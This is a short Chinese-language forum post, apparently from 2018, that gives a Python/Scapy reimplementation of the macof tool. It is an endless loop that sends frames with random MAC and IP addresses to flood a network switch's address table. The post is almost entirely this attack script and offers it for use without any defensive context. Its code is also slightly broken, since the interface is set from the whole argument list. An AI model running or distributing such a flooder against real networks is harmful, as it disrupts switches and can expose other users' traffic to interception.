陈银山 发表于 2018-8-5 11:56:30

Python实现macof

  import sys
  from scapy.all import *
  import time
  iface="eth0"
  if len(sys.argv)>=2:
  iface=sys.argv
  while(1):
  eth = Ether(src=RandMAC("*:*:*:*:*:*"),dst=RandMAC("*:*:*:*:*:*"))
  arp = IP(src=RandIP("*.*.*.*"),dst=RandIP("*.*.*.*"))
  print eth.dst
  packet = eth/arp/ICMP()
  time.sleep(0.5)
  sendp(packet,iface=iface,loop=0)
页: [1]
查看完整版本: Python实现macof